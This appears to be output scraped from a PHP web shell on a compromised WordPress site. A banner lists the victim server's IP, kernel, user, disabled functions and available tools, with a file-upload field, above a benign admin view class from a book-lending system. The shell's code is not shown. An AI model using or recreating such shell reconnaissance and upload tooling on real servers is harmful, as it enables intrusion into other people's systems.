Warning: chmod(): Operation not permitted in /var/www/hopeinstoughton_www/wp-content/plugins/simple-universal-google-analytics/main.php on line 8 [0] in function chmod in /var/www/hopeinstoughton_www/wp-content/plugins/simple-universal-google-analytics/main.php on line 8 [1] in function include_once in /var/www/hopeinstoughton_www/wp-settings.php on line 560 [2] in function require_once in /var/www/hopeinstoughton_www/wp-config.php on line 85 [3] in function require_once in /var/www/hopeinstoughton_www/wp-load.php on line 50 [4] in function require_once in /var/www/hopeinstoughton_www/wp-blog-header.php on line 13 [5] in function require in /var/www/hopeinstoughton_www/index.php on line 17
| Server IP : 94.177.8.99 / Your IP : 216.73.217.165 Web Server : Apache/2.4.58 (Ubuntu) System : Linux aries 6.8.0-134-generic #134-Ubuntu SMP PREEMPT_DYNAMIC Fri Jun 26 18:43:11 UTC 2026 x86_64 User : www-data ( 33) PHP Version : 8.1.34 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : ON | Pkexec : OFF Directory : /var/www/hopeinstoughton_books/_oldcore/views/ |
Upload File : |
<?php
class admin_view extends View {
// display list of titles, allow user to add a new one
function render_stock_group($webform) {
global $THIS_URL;
$webform->AddSubmit('s', ' set default group ');
$webform->AddSubmit('s', ' edit selected group ');
$html = $webform->AsHTML();
return <<<BLOCK
<p>Please select an existing stock group from the list below, or <a href="/admin/stock_group/0">enter a new one</a>.</p>
<form method="post" name="mainform" action="$THIS_URL"><table border="0">
$html
</table></form>
BLOCK;
}
function render_stockgroup_edit($webform, $recnum) {
global $THIS_URL;
$webform->AddSubmit('s', ' update ');
$html = $webform->AsHTML();
$footer = '';
if ($recnum) {
$footer = <<<BLOCK
<tr><td><a href="/admin/stock_group">select another group</a> | <a href="/admin/stock_group/0">add new group</a> |
<a href="/admin/stock_group_delete/$recnum" onclick="return confirm('are you sure you wish to delete this group?');">delete this entry</a></td></tr>
BLOCK;
}
return <<<BLOCK
<form method="post" name="mainform" action="$THIS_URL"><table border="0">
$html
</table></form>
$footer
BLOCK;
}
function render_authors($webform) {
global $THIS_URL;
$webform->AddSubmit('s', ' edit selected author ');
$html = $webform->AsHTML();
return <<<BLOCK
<p>Please select an existing author from the list below, or <a href="/admin/author/0">enter a new one</a>.</p>
<form method="post" action="$THIS_URL"><table border="0">
$html
</table></form>
BLOCK;
}
function render_author_edit($webform, $recnum) {
global $THIS_URL;
$webform->AddSubmit('s', ' update ');
$html = $webform->AsHTML();
$footer = '';
if ($recnum) {
$footer = <<<BLOCK
<tr><td><a href="/admin/author">select another author</a> | <a href="/admin/author/0">add new author</a> |
<a href="/admin/author_delete/$recnum" onclick="return confirm('are you sure you wish to delete this author?');">delete this entry</a></td></tr>
BLOCK;
}
return <<<BLOCK
<form method="post" name="mainform" action="$THIS_URL"><table border="0">
$html
</table></form>
$footer
BLOCK;
}
function render_locations($webform) {
global $THIS_URL;
$webform->AddSubmit('s', ' edit selected location ');
$html = $webform->AsHTML();
return <<<BLOCK
<p>Please select an existing location from the list below, or <a href="/admin/location/0">enter a new one</a>.</p>
<form method="post" action="$THIS_URL"><table border="0">
$html
</table></form>
BLOCK;
}
public function render_location_edit($webform, $recnum) {
global $THIS_URL;
$webform->AddSubmit('s', ' update ');
$html = $webform->AsHTML();
$footer = '';
if ($recnum) {
$footer = <<<BLOCK
<tr><td><a href="/admin/location">select another location</a> | <a href="/admin/location/0">add new location</a> |
<a href="/admin/location_delete/$recnum" onclick="return confirm('are you sure you wish to delete this location?');">delete this entry</a></td></tr>
BLOCK;
}
return <<<BLOCK
<form method="post" name="mainform" action="$THIS_URL"><table border="0">
$html
</table></form>
$footer
BLOCK;
}
public function render_titles($webform) {
global $THIS_URL;
$webform->AddSubmit('s', ' edit selected title ');
$html = $webform->AsHTML();
return <<<BLOCK
<p>Please select an existing title from the list below, or <a href="/admin/title/0">enter a new one</a>.</p>
<form method="post" action="$THIS_URL"><table border="0">
$html
</table></form>
BLOCK;
}
public function render_title_edit($webform, $recnum, $thumbnail, $extras) {
global $THIS_URL;
$webform->AddSubmit('s', ' save changes ');
$html = '<table>' . $webform->AsHTML() . '</table>';
if ($thumbnail != '') {
$html = <<<BLOCK
<table border="0" width="100%" cellspacing="0" cellpadding="2">
<tr><td valign="top">$html</td>
$thumbnail</tr>
</table>
BLOCK;
}
if ($recnum) {
$extras = <<<BLOCK
<p><a href="/admin/title">select another title</a> | <a href="/admin/title/0">add new title</a> |
<a href="/admin/title_delete/$recnum" onclick="return confirm('are you sure you wish to delete this title?');">delete title</a> |
<a href="/admin/image_delete/$recnum" onclick="return confirm('are you sure you wish to remove the cover image?');">remove image</a></p>
$extras
BLOCK;
}
return <<<BLOCK
<form method="post" action="$THIS_URL" name="mainform" enctype="multipart/form-data">
$html
</form>
$extras
BLOCK;
}
public function render_members($webform) {
global $THIS_URL;
$webform->AddSubmit('s', ' edit selected member ');
$html = $webform->AsHTML();
return <<<BLOCK
<p>Please select an existing member from the list below, or <a href="/admin/member/0">enter a new one</a>.</p>
<form method="post" action="$THIS_URL"><table border="0">
$html
</table></form>
BLOCK;
}
public function render_member_edit($webform, $recnum) {
global $THIS_URL;
$webform->AddSubmit('s', ' update ');
$html = $webform->AsHTML();
$footer = '';
if ($recnum) {
$footer = <<<BLOCK
<tr><td><a href="/admin/member">select another member</a> | <a href="/admin/member/0">add new member</a> |
<a href="/admin/member_delete/$recnum" onclick="return confirm('are you sure you wish to delete this member?');">delete this entry</a></td></tr>
BLOCK;
}
return <<<BLOCK
<form method="post" name="mainform" action="$THIS_URL"><table border="0">
$html
</table></form>
$footer
BLOCK;
}
public function render_stocks($webform) {
global $THIS_URL;
$webform->AddSubmit('s', ' edit selected item ');
$html = $webform->AsHTML();
return <<<BLOCK
<p>Please select an existing stock item from the list below. To add new books, please process them as a Loan Return through the Terminal.</p>
<form method="post" action="$THIS_URL"><table border="0">
$html
</table></form>
BLOCK;
}
public function render_stock_edit($webform, $barcode, $trans, $flags) {
global $THIS_URL;
$f = $webform->AddSubmit('s', ' save changes ');
if ($trans != '') {
$trans = <<<BLOCK
<br>
<h2>History</h2>
<table border="0">
<tr><td width="90">Date</td><td width="200">Action</td><td>Member</td></tr>
$trans
</table>
BLOCK;
}
$opts = '';
if (!($flags & 1)) { // not Written Off?
$opts = "<a href=\"/admin/stock_writeoff/$barcode\">writeoff</a> ";
}
if (!($flags & 2)) { // not Sold?
if ($opts != '') $opts = ' | ' . $opts;
$opts = "<a href=\"/admin/sold_nopay/$barcode\">sold - no payment</a> | <a href=\"/admin/sold_fullpay/$barcode\">sold - full payment</a>" . $opts;
}
$f->SetExtLabel($opts);
$html = $webform->AsHTML();
return <<<BLOCK
<form method="post" name="mainform" action="$THIS_URL"><table border="0" style="width:100%">
$html
</table></form>
$trans
BLOCK;
}
}